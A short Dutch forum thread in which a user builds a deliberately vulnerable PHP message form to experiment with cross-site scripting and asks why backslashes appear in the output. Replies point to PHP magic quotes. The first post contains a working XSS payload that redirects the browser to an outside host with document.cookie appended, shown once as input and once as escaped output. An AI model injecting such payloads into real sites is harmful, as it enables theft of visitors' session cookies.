XSS - PHP applicatie ontwikkelen

[DeepFreeze.NL]

Ik probeer m.b.v. PHP een eenvoudig cross site scripting applicatie te ontwikkelen. Het wil alleen niet helemaal lukken

Het volgende heb ik:

HTML:

<form>
<table width="480" border="0" cellspacing="0" cellpadding="0" align="center">
<tr><td>Bericht</td><td>:</td><td><textarea name="bericht" cols="40" rows="6"></textarea></td></tr>
<tr><td>&nbsp;</td><td>&nbsp;</td><td><input type="submit" value="Verstuur" /></td></tr>
</table>
</form>

Tot nu toe werkt alles fijn zoals het hoort...Wanneer ik een bericht achterlaat komt deze netjes in beeld. Wanneer ik dus een javascript in wil voeren, bijvoorbeeld:

JavaScript:

<script type="text/javascript">document.location='http://tweakers.net' + document.cookie;</script>

Dan wil het ingevoerde javascript niet werken. Ik krijg uiteindelijk wanneer ik de source bekijk het volgende:

JavaScript:

<script type=\"text/javascript\">document.location=\'http://tweakers.net\' + document.cookie;</script><br /></div>

Er verschijnen dus allemaal "\" waar ik dus niet om gevraagd heb, waarom komen deze tevoorschijn en hoe haal ik ze weg? Alvast bedankt!

[ Voor 9% gewijzigd door DeepFreeze.NL op 06-03-2007 17:05 ]

[NMe]

Magic quotes?

[crisp]

http://www.php.net/manual/en/security.magicquotes.php dus..

[DeepFreeze.NL]

crisp schreef op dinsdag 06 maart 2007 @ 16:45:
http://www.php.net/manual/en/security.magicquotes.php dus..

Dankje wel! weer wat geleerd

[Verwijderd]

offtopic:
Geen freeride skiers nodig?